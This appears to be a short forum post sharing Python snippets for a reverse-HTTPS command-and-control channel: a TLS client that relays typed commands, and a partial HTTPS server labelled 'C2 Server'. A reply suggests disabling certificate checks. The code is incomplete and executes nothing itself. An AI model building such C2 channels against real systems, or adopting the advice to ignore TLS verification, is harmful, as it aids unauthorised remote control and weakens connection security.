Client-Server Communication via HTTPS

[safesploit]

Instead of relying on a Socket bind for a reverse shell. A reverse HTTPS connection can be used instead.

client.py

import socket
import ssl

def reverse_https_connect(ip, port):
    context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    context.verify_mode = ssl.CERT_REQUIRED
    context.load_verify_locations("path/to/server_certificate.pem")  # Specify the path to the server certificate

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s = context.wrap_socket(s, server_hostname=ip)

    try:
        s.connect((ip, port))
        print(f"Connected to {ip}:{port} using reverse HTTPS")

        while True:
            command = input("Enter a command: ")
            s.sendall(command.encode())

            if command.lower() == "quit":
                break

            data = s.recv(4096)
            print(data.decode())

    except Exception as e:
        print(f"An error occurred during the reverse HTTPS connection: {str(e)}")

    s.close()

server.py

Initiating the HTTPS server listener

    httpd = http.server.HTTPServer(server_address, HTTPSRequestHandler)
    httpd.socket = ssl.wrap_socket(httpd.socket, certfile="cert.pem", keyfile="key.pem", server_side=True)

HTTPS Class

class HTTPSRequestHandler(http.server.SimpleHTTPRequestHandler):
    def _send_cors_headers(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'X-Requested-With')
        self.send_header('Content-Type', 'text/html')
        self.end_headers()

    def do_OPTIONS(self):
        self._send_cors_headers()

    def do_GET(self):
        self._send_cors_headers()
        self.wfile.write(bytes('HTTP/1.1 200 OK\n', 'utf-8'))
        self.wfile.write(bytes('\n', 'utf-8'))
        self.wfile.write(bytes('C2 Server is running!', 'utf-8'))

[fish-not-phish]

Have you looked into the client not needing a cert? Ignoring all cert issues and continue with establishing HTTPS connection. Might be worth exploring.